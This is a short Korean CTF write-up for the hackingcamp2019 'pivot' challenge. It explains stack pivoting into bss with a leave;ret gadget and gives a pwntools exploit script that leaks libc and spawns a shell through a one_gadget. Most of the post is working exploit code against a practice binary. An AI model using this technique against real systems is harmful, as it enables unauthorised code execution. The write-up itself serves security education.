Profile

youngsouk

youngsouk

[hackingcamp2019] pivot

read()에서 오버플로우가 일어난다는 것을 알 수 있다. 하지만 딱 ret부분까지만 덮이게 된다. 그래서 stack pivoting 이라는 것을 이용해서 bss 영역에 rop 코드를 써놓고 ret부분에 leave_ret 가젯을 씀으로서 rbp와 rsp를 우리의 ROP코드가 쓰여져있는 부분으로 이동시키면 ROP코드를 실행시킬 수 있다. 그 뒤에는 one_gadget으로 쉘을 따면 된다.

from pwn import *

p = process('./pivot')
#p = remote('pwnable.shop', 20206)
e = ELF('./pivot')
l = e.libc

context.log_level = "debug"

p_rdi_r = 0x00000000004007d3
p_rdi_r15_r = 0x00000000004007d1
main = 0x00000000004006B6
l_r = 0x0000000040075F
r = 0x0000000000400760

bss = e.bss() + 500
log.info('bss + 500 : ' + str(hex(bss)))

payload = 'a' * 0x50
payload += p64(bss)
#payload += p64(e.got['read']+0x50)
payload += p64(0x000000000040072E)

pause()
p.send(payload)

log.info('read_buffer : ' + str(hex(bss-0x50)))


payload = p64(0)
payload += p64(p_rdi_r15_r)
payload += p64(e.got['read'])
payload += p64(0)
payload += p64(e.plt['write'])
payload += p64(main)
payload += 'a' * (0x50 - len(payload))
payload += p64(bss - 0x50)
payload += p64(l_r)

p.send(payload)

p.recvuntil('\x5c\x05\x40\x00\x00\x00\x00\x00')
libc = u64(p.recv(6).ljust(8,'\x00')) - l.sym['read']

log.info('libc : ' + hex(libc))

payload = 'a' * 0x50
payload += p64(bss)
payload += p64(libc + 0x45216)

p.sendline(payload)